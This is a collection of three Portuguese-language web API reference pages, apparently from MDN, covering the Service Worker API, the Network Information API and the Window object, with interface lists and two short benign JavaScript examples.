{"title":"API do Service Worker - APIs da Web","text":"API do Service Worker\n=====================\n\nEssencialmente, um *service worker* se comporta como um servidor *proxy* situado entre uma aplicação web, o navegador e a rede (quando esta estiver disponível). Eles servem, dentre outras coisas, para possibilitar a criação de experiências *offline* eficientes, interceptar requisições de rede – agindo adequadamente de acordo com o *status* atual da conexão – e atualizar os *assets* que residem no servidor. Service workers também permitem o acesso às APIs de *push notification* e *background sync*.\n\nService worker - Conceitos e uso\n--------------------------------\n\nUm *service worker* é um tipo especial de *worker* baseado em eventos, o qual é registrado para um determinado *path* e origem. Na prática, ele é um arquivo JavaScript que pode controlar as páginas do site ao qual ele está associado, interceptando e modificando requisições e a navegação em si. Ele também faz *cache* dos recursos trafegados de maneira bastante granular, visando oferecer controle total sobre como a sua aplicação se comporta em determinadas situações (o exemplo mais óbvio, naturalmente, é quando não há conexão de rede disponível).\n\nAssim como outros tipos de *worker*, um *service worker* é executado em um contexto isolado. Dessa forma, não tem acesso ao DOM e roda em uma thread completamente separada, sendo incapaz de realizar operações blocantes. Service workers foram projetados para ser totalmente assíncronos; como consequência disso, não permitem o acesso a APIs como XHR síncrono e localStorage.\n\nPor questões de segurança, *service workers* funcionam apenas em sites servidos via HTTPS. A possibilidade de modificar requisições em um domínio desprotegido contra ataques do tipo man-in-the-middle (en-US) seria desastrosa. No Firefox, é vetado o acesso à API de *service workers* para sites abertos no Modo de navegação privativa.\n\n**Nota:** Os service workers superaram tentativas anteriores de resolver problemas semelhantes, como o AppCache. Há uma explicação simples para eles terem sido bem-sucedidos: Service workers **não** tentam adivinhar o que você está tentando fazer e, muito menos, deixam de funcionar caso não tenham adivinhado corretamente. Pelo contrário, você tem o controle milimétrico de tudo.\n\n**Nota:** Service workers fazem uso intenso de promessas, uma vez que eles têm de esperar por respostas assíncronas para, após retornadas, poderem executar a ação apropriada (de sucesso ou erro). A arquitetura de promessas é ideal para esse tipo de cenário.\n\n### Registrando\n\nO registro inicial de um *service worker* é feito através do método `ServiceWorkerContainer.register()`. Se bem-sucedido, seu *service worker* será descarregado no cliente e então ocorrerá a tentativa de instalação/ativação para as URLs acessadas pelo usuário sob a origem registrada ou, caso deseje, apenas dentro de um subconjunto limitado por você.\n\n### Download, instalação e ativação\n\nNesse estágio, seu service worker seguirá o seguinte ciclo de vida:\n\n1. Download\n2. Instalação\n3. Ativação\n\nQuando o usuário acessa pela primeira vez um site ou página controlado por um service worker, ele é descarregado imediatamente.\n\nApós isso, serão feitos novos downloads em intervalos de aproximadamente 24 horas. O download **pode** ocorrer mais frequentemente, mas ele **precisa** ser feito a cada 24 horas para prevenir que scripts ruins sejam um problema por períodos muito extensos.\n\nA tentativa de instalação é feita sempre que o arquivo descarregado é identificado como novo – seja por diferir dos *service workers* pré-existentes (é feita uma comparação binária nessa etapa) ou por ser o primeiro descoberto para a página ou site em questão.\n\nNa primeira vez que um *service worker* é disponibilizado, é feita a tentativa de instalação. Se bem-sucedida, ele é ativado.\n\nSe, por outro lado, já existe um *service worker* pré-instalado para uma página ou site e for disponibilizada uma nova versão, ela será descarregada, mas não imediatamente ativada. Isso é chamado de ***worker* em espera**. Só será efetuada a ativação da versão atualizada quando não houver mais páginas utilizando a anterior. Após isso, ele passa a ser o ***worker* ativo**. Caso necessário, é possível pular a etapa de espera com o método `ServiceWorkerGlobalScope.skipWaiting()` (en-US). Em seguida, o novo worker ativo pode reivindicar as páginas existentes usando `Clients.claim()` (en-US).\n\nVocê pode adicionar um *listener* para o evento `InstallEvent` (en-US). Uma ação padrão, quando esse evento é disparado, é preparar o seu *service worker* para ser utilizado (por exemplo: criado um cache usando a API de storage nativa e armazenando nela os *assets* que você quer que permaneçam disponíveis caso a aplicação fique *offline*).\n\nHá também o evento `activate`. O momento em que ele é disparado é geralmente o ideal para limpar caches antigos e outras coisas associadas com a versão anterior do seu *service worker*.\n\nSeu service worker pode responder a requisições usando o `FetchEvent` (en-US). Você pode manipular a resposta a essas requisições da maneira que quiser, através do método `FetchEvent.respondWith` (en-US).\n\n> \n> \\*\\*Nota:\\*\\*Como `oninstall` e `onactivate` podem demorar a serem concluídos, a especificação de *service workers* disponibiliza um método waitUntil (en-US). Ele recebe como parâmetro uma promessa, notificando o navegador que há trabalho em andamento até que aquela promessa seja resolvida. O navegador, portanto, não deverá encerrar o service worker durante esse período de espera.\n> \n> \n> \n\nPara um tutorial completo, mostrando como construir seu primeiro exemplo do zero, leia Usando Service Workers (en-US).\n\nOutras ideias de usos possíveis\n-------------------------------\n\n* Sincronização de dados em *background*\n* Responder a requisições de recursos a partir de outras origens\n* Receber de forma centralizada atualizações para dados de cálculo mais custoso, como geolocalização ou giroscópio, de forma a permitir que múltiplas páginas façam uso de um único conjunto de dados.\n* No lado do cliente, fazer compilação e gerenciamento de dependências para CoffeeScript, LESS, módulos CommonJS/AMD, entre outros.\n* *Hooks* para serviços em *background*.\n* Templates customizados com base em certos padrões de URL.\n* Melhorias de performance como, por exemplo, fazer o pré-carregamento de recursos que o usuário provavelmente irá precisar a curto prazo, como as próximas fotos de um álbum.\n\nNo futuro, service workers serão capazes de fazer várias outras coisas úteis para a plataforma web, deixando-a mais próxima de *apps* nativos em.\n\nÉ interessante mencionar que outras especificações podem e irão passar a usar o contexto de service workers, por exemplo:\n\n* Sincronização em background: Iniciar um service worker mesmo quando não há usuários no site, de forma que o cache possa ser atualizado;\n* Reagir a mensagens push: Iniciar um service worker para enviar uma mensagem aos usuários dizendo que há conteúdo novo disponível;\n* Reagir a uma data/hora específica;\n* Entrar em uma geo-fence.\nInterfaces\n----------\n\n`Cache`\n\nRepresenta o armazenamento para os pares de objeto `Request` e `Response`, os quais são cacheados como parte do ciclo de vida do `ServiceWorker` (en-US).\n\n`CacheStorage` (en-US)\n\nRepresenta o armazenamento para objetos `Cache`. Ele disponibiliza um diretório-mestre com todos os caches nomeados que um `ServiceWorker` (en-US) pode acessar, mantendo o mapeamento de nomes para os objetos `Cache` correspondentes.\n\n`Client` (en-US)\n\nRepresenta o escopo do cliente de um *service worker*. Um cliente pode ser um documento no contexto de um navegador ou um `SharedWorker` (en-US), o qual é controlado por um *worker* ativo.\n\n`Clients` (en-US)\n\nRepresenta o container para uma lista de objetos `Client` (en-US). É a principal forma de acessar os clientes na origem atual para o *service worker* ativo.\n\n`ExtendableEvent` (en-US)\n\nEstende a vida dos eventos `install` e `activate` disparados no `ServiceWorkerGlobalScope` (en-US), como parte do ciclo de vida do *service worker*. Isso garante que qualquer evento funcional (como o `FetchEvent` (en-US)) não seja despachado para o `ServiceWorker` (en-US) até que ele conclua as ações em andamento, como por exemplo: atualizar esquemas de banco de dados, apagar caches defasados, etc.\n\n`ExtendableMessageEvent` (en-US)\n\nO objeto de evento do `message`, o qual é disparado em um *service worker* (quando uma mensagem de canal é recebida no `ServiceWorkerGlobalScope` (en-US) a partir de outro contexto) — estende o tempo de vida desses eventos.\n\n`FetchEvent` (en-US)\n\nO parâmetro recebido no *handler* `ServiceWorkerGlobalScope.onfetch`. O `FetchEvent` representa uma ação de descarregamento que é despachada no `ServiceWorkerGlobalScope` (en-US) de um `ServiceWorker` (en-US). Ele contém informações sobre a requisição e a resposta resultante, além de disponibilizar o método `FetchEvent.respondWith()` (en-US), o qual nos permite devolver uma resposta customizada para a página que está sendo controlada.\n\n`InstallEvent` (en-US)\n\nO parâmetro recebido no *handler* `oninstall`. A interface `InstallEvent` representa uma ação de instalação que é despachada no `ServiceWorkerGlobalScope` (en-US) de um `ServiceWorker` (en-US). Como deriva do `ExtendableEvent` (en-US), ele assegura que eventos funcionais, como o `FetchEvent` (en-US), não sejam despachados durante a instalação.\n\n`NavigationPreloadManager` (en-US)\n\nDisponibiliza métodos para gerenciar o pré-carregamento de recursos com um *service worker.*\n\n`Navigator.serviceWorker` (en-US)\n\nRetornar um objeto `ServiceWorkerContainer` (en-US), o qual permite accesso ao registro, remoção, atualização e comunicação com os objetos `ServiceWorker` (en-US) para o documento associado.\n\n`NotificationEvent` (en-US)\n\nO parâmetro recebido no *handler* `onnotificationclick`. A interface `NotificationEvent` representa um evento de *click* em uma notificação que é despachado no `ServiceWorkerGlobalScope` (en-US) de um `ServiceWorker` (en-US).\n\n`ServiceWorker` (en-US)\n\nRepresenta um *service worker*. Diferentes contextos de navegação (ex: páginas, *workers*, etc.) podem ser associados com o mesmo objeto `ServiceWorker`.\n\n`ServiceWorkerContainer` (en-US)\n\nDisponibiliza um objeto representando o service worker como uma unidade global no ecossistema de rede, incluindo métodos para registrar, desregistrar e atualizar *service workers*, além de poder acessar o status de cada *worker* e seus registros.\n\n`ServiceWorkerGlobalScope` (en-US)\n\nRepresenta o contexto de execução global de um *service worker*.\n\n`ServiceWorkerMessageEvent` (en-US) \nDeprecated\n\nRepresenta uma mensagem enviada a um `ServiceWorkerGlobalScope` (en-US). **Vale ressaltar que essa interface está defasada em navegadores modernos. As mensagens de *service worker* agora usam a interface `MessageEvent` (en-US) para manter consistência com outras funcionalidades de messageria da web.**\n\n`ServiceWorkerRegistration` (en-US)\n\nRepresenta o registro de um *service worker*.\n\n`ServiceWorkerState` (en-US) \nExperimental\n\nAssociado com o estado do `ServiceWorker` (en-US).\n\n`SyncEvent` (en-US) \nNon-standard\n\nA interface SyncEvent representa uma ação de sincronização que é despachada no `ServiceWorkerGlobalScope` (en-US) de um ServiceWorker.\n\n`SyncManager` (en-US) \nNon-standard\n\nDisponibiliza uma interface para registrar e listar registros de sincronização.\n\n`WindowClient` (en-US)\n\nRepresenta o escopo de um cliente de *service worker* que é um documento em um contexto de navegador, o qual é controlado por um *worker* ativo. Esse é um tipo especial de objeto `Client` (en-US), como alguns métodos e propriedades adicionais disponíveis.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Service Workers  |\n\nCompatibilidade com navegadores\n-------------------------------\n\n{{Compat}}Veja também\n-----------\n\n* ServiceWorker Cookbook\n* Using Service Workers (en-US)\n* Service workers basic code example\n* Is ServiceWorker ready?\n* Promises\n* Using web workers (en-US)\n* Best Practices for using the VARY header"}
{"title":"A API de informações de rede - APIs da Web","text":"A API de informações de rede\n============================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\n A API de informações de rede fornece informações sobre a conexão do sistema em termos de tipo de conexão geral (por exemplo, 'wifi, 'celular' etc.).\n Isso pode ser usado para selecionar conteúdo de alta definição ou conteúdo de baixa definição com base na conexão do usuário.\n\nA interface consiste em um único objeto `NetworkInformation` (en-US), cuja instância é retornada pela propriedade `Navigator.connection` (en-US).\n\n**Note:** This feature is available in Web Workers\n\nInterfaces\n----------\n\n`NetworkInformation` (en-US)\n\nfornece informações sobre a conexão que um dispositivo está usando para se comunicar com a rede e fornece um meio para que os scripts sejam notificados se o tipo de conexão for alterado. A interface `NetworkInformation` não pode ser instanciada. Em vez disso, é acessado através da interface `Navigator` (en-US).\n\nExemplos\n--------\n\n### Detectar alterações de conexão\n\nEste exemplo observa as alterações na conexão do usuário.\n\n\n```js\nlet type = navigator.connection.effectiveType;\n\nfunction updateConnectionStatus() {\n  console.log(\n    `Tipo de conexão alterado de ${type} para ${navigator.connection.effectiveType}`,\n  );\n  type = navigator.connection.effectiveType;\n}\n\nnavigator.connection.addEventListener(\"change\", updateConnectionStatus);\n```\n\n### Pré-carregue grandes recursos\n\nO objeto de conexão é útil para decidir se deve pré-carregar recursos que consomem grandes quantidades de largura de banda ou memória. Este exemplo seria chamado logo após o carregamento da página para verificar um tipo de conexão em que o pré-carregamento de um vídeo pode não ser desejável. Se uma conexão de celular for encontrada, o sinalizador `preloadVideo` será definido como `false`. Para simplicidade e clareza, este exemplo testa apenas um tipo de conexão. Um caso de uso do mundo real provavelmente usaria uma instrução switch ou algum outro método para verificar todos os valores possíveis de `NetworkInformation.type` (en-US). Independentemente do valor `type`, você pode obter uma estimativa da velocidade da conexão através da propriedade `NetworkInformation.effectiveType` (en-US).\n\n\n```js\nlet preloadVideo = true;\nconst connection = navigator.connection;\nif (connection) {\n  if (connection.effectiveType === \"slow-2g\") {\n    preloadVideo = false;\n  }\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Network Information API # networkinformation-interface |\n| Network Information API # connection-attribute |\n\nCompatibilidade do navegador\n----------------------------\n\n### api.NetworkInformation\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.Navigator.connection\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Eventos online e offline (en-US)"}
{"title":"Window - APIs da Web","text":"Window\n======\n\nO objeto `window` representa uma janela que contém um elemento DOM; a propriedade `document` aponta para o documento DOM document (en-US) carregado naquela janela. Uma janela para um dado documento pode ser obtido usando a propriedade `document.defaultView`.\n\nEsta seção provê uma breve referência a todos os métodos, propriedades e eventos disponíveis através do objeto DOM `window`. O objeto `window` implementa a interface `Window`, o qual herda da interface `AbstractView`. Algumas funções globais, objeto de namespace, interfaces e construtores, apesar de não tipicamente associados ao objeto em questão, estão disponíveis e estão listados nas referências JavaScript Reference e DOM Reference (en-US).\n\nEm um navegador com suporte a abas, como o Firefox, cada aba contém seu próprio objeto `window` (e, se você estiver escrevendo uma extensão, a janela do navegador é uma janela distinta também - veja Working with windows in chrome code para mais informação). Isto é, o objeto `window` não é compartilhado entre as abas na mesma janela. Alguns métodos, nomeadamente `window.resizeTo` (en-US) e `window.resizeBy` (en-US) aplicam-se à janela toda e não à aba em questão ao que o objeto `window` pertence. Geralmente, qualquer coisa que não pode racionalmente pertencer a uma aba, pertence a uma janela..\n\nPropriedades\n------------\n\n*Esta interface herda propriedades da interface `EventTarget` e implementa propriedades de `WindowTimers`, `WindowBase64`, e `WindowEventHandlers`.*\n\nPerceba que propriedades que são objetos (ex.: sobrecarregar o protótipo de elementos built-in) são listados em uma sessão separada abaixo.\n\n`Window.applicationCache` Somente leitura \n\nUm objeto `OfflineResourceList` fornece acesso aos recursos offline para o window.\n\n`Window.closed` \nNon-standard\nSomente leitura \n\nEsta propriedade indica quando a window atual está fechada ou não.\n\n`Window.Components` \nNon-standard\n\nO ponto de entrada para muitas características XPCOM. Algumas propriedades, por exemplo, classes, estão apenas disponíveis para código suficientemente privilegiado. Código de Web não deve usar essa propriedade.\n\n`Window.console` \nNon-standard\n Somente leitura \n\nRetorna uma referência para o objeto console fornecendo acesso ao console debugging do navegador.\n\n`Window.content` (en-US) and Window.content \nNon-standard\nSomente leitura \n\nRetorna uma referência para o elemento de conteúdo na janela atual. A variante obsoleta com sublinhado não está disponível a partir do conteúdo da Web.\n\n`Window.controllers`\nNon-standard\nSomente leitura \n\nRetorna os objetos de controlador XUL para a janela atual do crome.\n\n`Window.crypto` Somente leitura \n\nRetorna o objeto de criptografia do navegador.\n\n`Window.defaultStatus`\n\nObtém/define o texto da barra de status para determinada janela.\n\n`Window.devicePixelRatio` (en-US) \nNon-standard\nSomente leitura \n\nReturns the ratio between physical pixels and device independent pixels in the current display.\n\n`Window.dialogArguments` Somente leitura \n\nGets the arguments passed to the window (if it's a dialog box) at the time `window.showModalDialog()` (en-US) was called. This is an `nsIArray`.\n\n`Window.directories`\n\nSynonym of `window.personalbar` (en-US)\n\n`Window.document` Somente leitura \n\nRetorna a referência à propriedade `document` que a janela contém.\n\n`Window.frameElement` (en-US) Somente leitura \n\nReturns the element in which the window is embedded, or null if the window is not embedded.\n\n`Window.frames` (en-US) Somente leitura \n\nReturns an array of the subframes in the current window.\n\n`Window.fullScreen`\n\nThis property indicates whether the window is displayed in full screen or not.\n\n`Window.globalStorage`\nNon-standard\n\n Unsupported since Gecko 13 (Firefox 13). Use `Window.localStorage` instead.\n Was: Multiple storage objects that are used for storing data across multiple pages.\n\n\n`Window.history` Somente leitura \n\nRetorna a referência ao objeto `history`.\n\n`Window.innerHeight`\n\nGets the height of the content area of the browser window including, if rendered, the horizontal scrollbar.\n\n`window.innerWidth` (en-US)\n\nGets the width of the content area of the browser window including, if rendered, the vertical scrollbar.\n\n`Window.length` Somente leitura \n\nReturns the number of frames in the window. See also `window.frames` (en-US).\n\n`Window.location` Somente leitura \n\nGets/sets the location, or current URL, of the window object.\n\n`Window.locationbar` (en-US) Somente leitura \n\nReturns the locationbar object, whose visibility can be toggled in the window.\n\n`WindowStorage.localStorage` Somente leitura \n\nReturns a reference to the local storage object used to store data that may only be accessed by the origin that created it.\n\n`Window.menubar` (en-US) Somente leitura \n\nReturns the menubar object, whose visibility can be toggled in the window.\n\n`Window.messageManager`\n\nReturns the message manager object for this window.\n\n`Window.mozAnimationStartTime` (en-US) Somente leitura \n\nThe time in milliseconds since epoch at which the current animation cycle began.\n\n`Window.mozInnerScreenX` (en-US) Somente leitura \nNon-standard\n\nReturns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See `mozScreenPixelsPerCSSPixel` in `nsIDOMWindowUtils` for a conversion factor to adapt to screen pixels if needed.\n\n`Window.mozInnerScreenY` (en-US) Somente leitura  \nNon-standard\n\nReturns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See `mozScreenPixelsPerCSSPixel` for a conversion factor to adapt to screen pixels if needed.\n\n`Window.mozPaintCount` (en-US) \nNon-standard\nSomente leitura \n\nReturns the number of times the current document has been rendered to the screen in this window. This can be used to compute rendering performance.\n\n`Window.name` (en-US)\n\nPega/attribui o nome ao objeto `window`.\n\n`Window.navigator` Somente leitura \n\nReturns a reference to the navigator object.\n\n`Window.opener` (en-US)\n\nReturns a reference to the window that opened this current window.\n\n`Window.outerHeight` (en-US) Somente leitura \n\nGets the height of the outside of the browser window.\n\n`Window.outerWidth` (en-US) Somente leitura \n\nGets the width of the outside of the browser window.\n\n`Window.pageXOffset` (en-US) Somente leitura \n\nAn alias for `window.scrollX` (en-US).\n\n`Window.pageYOffset`Somente leitura \n\nAn alias for `window.scrollY`\n\n`WindowSession.sessionStorage` Somente leitura \n\n…\n\n`SpeechSynthesisGetter.speechSynthesis` Somente leitura \n\n…\n\n`Window.parent` (en-US) Somente leitura \n\nReturns a reference to the parent of the current window or subframe.\n\n`Window.performance` Somente leitura \n\nProvides a hosting area for performance related (en-US) attributes.\n\n`Window.personalbar` (en-US) Somente leitura \n\nReturns the personalbar object, whose visibility can be toggled in the window.\n\n`Window.pkcs11`\n\nFormerly provided access to install and remove PKCS11 modules.\n\n`Window.returnValue`\n\nThe return value to be returned to the function that called `window.showModalDialog()` (en-US) to display the window as a modal dialog.\n\n`Window.screen` (en-US) Somente leitura \n\nReturns a reference to the screen object associated with the window.\n\n`Window.screenX` (en-US) Somente leitura \n\nReturns the horizontal distance of the left border of the user's browser from the left side of the screen.\n\n`Window.screenY` (en-US) Somente leitura \n\nReturns the vertical distance of the top border of the user's browser from the top side of the screen.\n\n`Window.scrollbars` (en-US) Somente leitura \n\nReturns the scrollbars object, whose visibility can be toggled in the window.\n\n`Window.scrollMaxX` (en-US)\nNon-standard\nSomente leitura \n\nThe maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.\n\n`Window.scrollMaxY` (en-US)\nNon-standard\nSomente leitura \n\nThe maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).\n\n`Window.scrollX` (en-US) Somente leitura \n\nReturns the number of pixels that the document has already been scrolled horizontally.\n\n`Window.scrollY` Somente leitura \n\nReturns the number of pixels that the document has already been scrolled vertically.\n\n`Window.self` (en-US) Somente leitura \n\nReturns an object reference to the window object itself.\n\n`Window.sessionStorage`\n\nA storage object for storing data within a single page session.\n\n`Window.sidebar` (en-US) \nNon-standard\nSomente leitura \n\nReturns a reference to the window object of the sidebar.\n\n`Window.status` (en-US)\n\nGets/sets the text in the statusbar at the bottom of the browser.\n\n`Window.statusbar` (en-US) Somente leitura \n\nReturns the statusbar object, whose visibility can be toggled in the window.\n\n`Window.toolbar` (en-US) Somente leitura \n\nReturns the toolbar object, whose visibility can be toggled in the window.\n\n`Window.top` (en-US) Somente leitura \n\nReturns a reference to the topmost window in the window hierarchy. This property is read only.\n\n`Window.window` (en-US) Somente leitura \n\nReturns a reference to the current window.\n\n`window[0]`, `window[1]`, etc.\n\nReturns a reference to the `window` object in the frames. See `Window.frames` (en-US) for more details.\n\nMethods\n-------\n\n*This interface inherits methods from the `EventTarget` interface and implements methods from `WindowTimers`, `WindowBase64`, and `WindowEventHandlers`.*\n\n`EventTarget.addEventListener()`\n\nRegister an event handler to a specific event type on the window.\n\n`Window.alert()`\n\nDisplays an alert dialog.\n\n`WindowBase64.atob()`\n\nDecodes a string of data which has been encoded using base-64 encoding.\n\n`Window.back()` (en-US) \nNon-standard\n\nMoves back one in the window history.\n\n`Window.blur()` (en-US)\n\nSets focus away from the window.\n\n`WindowBase64.btoa()` (en-US)\n\nCreates a base-64 encoded ASCII string from a string of binary data.\n\n`Window.captureEvents()` (en-US) \nDeprecated\n\nRegisters the window to capture all events of the specified type.\n\n`Window.clearImmediate()` (en-US)\n\nCancels the repeated execution set using `setImmediate`.\n\n`WindowTimers.clearInterval()` (en-US)\n\nCancels the repeated execution set using `WindowTimers.setInterval()` (en-US).\n\n`WindowTimers.clearTimeout()`\n\nCancels the repeated execution set using `WindowTimers.setTimeout()` (en-US).\n\n`Window.close()` (en-US)\n\nCloses the current window.\n\n`Window.confirm()`\n\nDisplays a dialog with a message that the user needs to respond to.\n\n`Window.disableExternalCapture()`\n{{todo(\"NeedsContents\")}}\n`Window.dispatchEvent()`\n\nUsed to trigger an event.\n\n`Window.dump()` (en-US)\n\nWrites a message to the console.\n\n`Window.enableExternalCapture()`\n{{todo(\"NeedsContents\")}}\n`Window.find()` (en-US)\n\nSearches for a given string in a window.\n\n`Window.focus()` (en-US)\n\nSets focus on the current window.\n\n`Window.forward()` (en-US) \nNon-standard\n\nMoves the window one document forward in the history.\n\n`Window.getAttention()`\n\nFlashes the application icon.\n\n`Window.getAttentionWithCycleCount()`\n{{todo(\"NeedsContents\")}}\n`Window.getComputedStyle()` (en-US)\n\nGets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.\n\n`Window.getDefaulComputedStyle()`\n\nGets default computed style for the specified element, ignoring author stylesheets.\n\n`Window.getSelection()`\n\nReturns the selection object representing the selected item(s).\n\n`Window.home()` \nNon-standard\n\nReturns the browser to the home page.\n\n`Window.matchMedia()`\n\nReturns a `MediaQueryList` (en-US) object representing the specified media query string.\n\n`Window.maximize()`\n{{todo(\"NeedsContents\")}}\n`Window.minimize()` (en-US) (top-level XUL windows only)\n\nMinimizes the window.\n\n`Window.moveBy()` (en-US)\n\nMoves the current window by a specified amount.\n\n`Window.moveTo()` (en-US)\n\nMoves the window to the specified coordinates.\n\n`Window.mozRequestAnimationFrame()` (en-US)\n\nTells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame. This will cause a `MozBeforePaint` event to fire before that repaint occurs.\n\n`Window.open()` (en-US)\n\nOpens a new window.\n\n`Window.openDialog()`\n\nOpens a new dialog window.\n\n`Window.postMessage()` (en-US)\n\nProvides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first, in a secure manner.\n\n`Window.print()`\n\nOpens the Print Dialog to print the current document.\n\n`Window.prompt()`\n\nReturns the text entered by the user in a prompt dialog.\n\n`Window.releaseEvents()` (en-US) \nDeprecated\n\nReleases the window from trapping events of a specific type.\n\n`Window.removeEventListener()`\n\nRemoves an event listener from the window.\n\n`Window.resizeBy()` (en-US)\n\nResizes the current window by a certain amount.\n\n`Window.resizeTo()` (en-US)\n\nDynamically resizes window.\n\n`Window.restore()` (en-US)\n{{todo(\"NeedsContents\")}}\n`Window.routeEvent()`\n{{todo(\"NeedsContents\")}}\n`Window.scroll()`\n\nScrolls the window to a particular place in the document.\n\n`Window.scrollBy()`\n\nScrolls the document in the window by the given amount.\n\n`Window.scrollByLines()` (en-US)\n\nScrolls the document by the given number of lines.\n\n`Window.scrollByPages()`\n\nScrolls the current document by the specified number of pages.\n\n`Window.scrollTo()`\n\nScrolls to a particular set of coordinates in the document.\n\n`Window.setCursor()`\n\nChanges the cursor for the current window\n\n`Window.setImmediate()`\n\nExecutes a function after the browser has finished other heavy tasks\n\n`WindowTimers.setInterval()` (en-US)\n\nSchedules the execution of a function each X milliseconds.\n\n`Window.setResizable` (en-US)\n{{todo(\"NeedsContents\")}}\n`WindowTimers.setTimeout()` (en-US)\n\nSets a delay for executing a function.\n\n`Window.showModalDialog()` (en-US)\n\nDisplays a modal dialog.\n\n`Window.sizeToContent()` (en-US)\n\nSizes the window according to its content.\n\n`Window.stop()` (en-US)\n\nThis method stops window loading.\n\n`Window.updateCommands()` (en-US)\n\nUpdates the state of commands of the current chrome window (UI).\n\nEvent handlers\n--------------\n\nThese are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.\n\n*This interface inherits event handlers from the `EventTarget` interface and implements event handlers from `WindowTimers`, `WindowBase64`, and `WindowEventHandlers`.*\n\n**Nota:** Starting in Gecko 9.0, you can now use the syntax `if (\"onabort\" in window)` to determine whether or not a given event handler property exists. This is because event handler interfaces have been updated to be proper web IDL interfaces. See DOM event handlers (en-US) for details.\n\n`GlobalEventHandlers.onabort`\n\nAn event handler property for abort events on the window.\n\n`WindowEventHandlers.onbeforeunload` (en-US)\n\nAn event handler property for before-unload events on the window.\n\n`GlobalEventHandlers.onblur`\n\nAn event handler property for blur events on the window.\n\n`GlobalEventHandlers.onchange`\n\nAn event handler property for change events on the window.\n\n`GlobalEventHandlers.onclick`\n\nAn event handler property for click events on the window.\n\n`GlobalEventHandlers.onclose` (en-US)\n\nAn event handler property for handling the window close event.\n\n`GlobalEventHandlers.oncontextmenu`\n\nAn event handler property for right-click events on the window.\n\n`Window.ondevicelight`\n\nAn event handler property for any ambient light levels changes\n\n`Window.ondevicemotion` (en-US)\n{{todo(\"NeedsContents\")}}\n`Window.ondeviceorientation` (en-US)\n\nAn event handler property for any device orientation changes\n\n`Window.ondeviceproximity`\n\nAn event handler property for device proximity event\n\n`GlobalEventHandlers.onerror`\n\nAn event handler property for `error (en-US)` events raised on the window.\n\n`GlobalEventHandlers.onfocus`\n\nAn event handler property for `focus (en-US)` events on the window.\n\n`WindowEventHandlers.onhashchange`\n\nAn event handler property for hash change events on the window; called when the part of the URL after the hash mark (\"#\") changes.\n\n`GlobalEventHandlers.onkeydown` (en-US)\n\nAn event handler property for `keydown (en-US)` events on the window.\n\n`GlobalEventHandlers.onkeypress` (en-US)\n\nAn event handler property for `keypress (en-US)` events on the window.\n\n`GlobalEventHandlers.onkeyup`\n\nAn event handler property for `keyup (en-US)` events on the window.\n\n`WindowEventHandlers.onlanguagechange` (en-US)\n\nAn event handler property for `languagechange (en-US)` events on the window.\n\n`GlobalEventHandlers.onload`\n\nAn event handler property for window loading.\n\n`GlobalEventHandlers.onmousedown` (en-US)\n\nAn event handler property for mousedown events on the window.\n\n`GlobalEventHandlers.onmousemove` (en-US)\n\nAn event handler property for mousemove events on the window.\n\n`GlobalEventHandlers.onmouseout` (en-US)\n\nAn event handler property for mouseout events on the window.\n\n`GlobalEventHandlers.onmouseover` (en-US)\n\nAn event handler property for mouseover events on the window.\n\n`GlobalEventHandlers.onmouseup` (en-US)\n\nAn event handler property for mouseup events on the window.\n\n`Window.onmozbeforepaint`\n\nAn event handler property for the `MozBeforePaint` event, which is sent before repainting the window if the event has been requested by a call to the `Window.mozRequestAnimationFrame()` (en-US) method.\n\n`WindowEventHandlers.onpageshow`\n\nAn event handler property for pageshow events on the window.\n\n`WindowEventHandlers.onpagehide`\n\nAn event handler property for pagehide events on the window.\n\n`Window.onpaint`\n\nAn event handler property for paint events on the window.\n\n`WindowEventHandlers.onpopstate`\n\nAn event handler property for popstate events, which are fired when navigating to a session history entry representing a state object.\n\n`GlobalEventHandlers.onreset` (en-US)\n\nAn event handler property for reset events on the window.\n\n`GlobalEventHandlers.onresize` (en-US)\n\nAn event handler property for window resizing.\n\n`GlobalEventHandlers.onscroll`\n\nAn event handler property for window scrolling.\n\n`GlobalEventHandlers.onselect` (en-US)\n\nAn event handler property for window selection.\n\n`GlobalEventHandlers.onsubmit` (en-US)\n\nAn event handler property for submits on window forms.\n\n`Window.onunload` (en-US)\n\nAn event handler property for unload events on the window.\n\n`Window.onuserproximity`\n\nAn event handler property for user proximity events\n\nConstructors\n------------\n\nSee also the DOM Interfaces (en-US).\n\n`Window.DOMParser`\n{{todo(\"NeedsContents\")}}\n`Window.GeckoActiveXObject`\n{{todo(\"NeedsContents\")}}\n`Image` (en-US)\n\nUsed for creating an `HTMLImageElement` (en-US).\n\n`Option` (en-US)\n\nUsed for creating an `HTMLOptionElement` (en-US)\n\n`Window.QueryInterface`\n{{todo(\"NeedsContents\")}}\n`Window.XMLSerializer`\n{{todo(\"NeedsContents\")}}\n`Worker`\n\nUsed for creating a Web worker (en-US)\n\n`Window.XPCNativeWrapper`\n{{todo(\"NeedsContents\")}}\n`Window.XPCSafeJSObjectWrapper`\n{{todo(\"NeedsContents\")}}\nInterfaces\n----------\n\nSee DOM Reference (en-US)\n\nSee also\n--------\n\n* Working with windows in chrome code"}
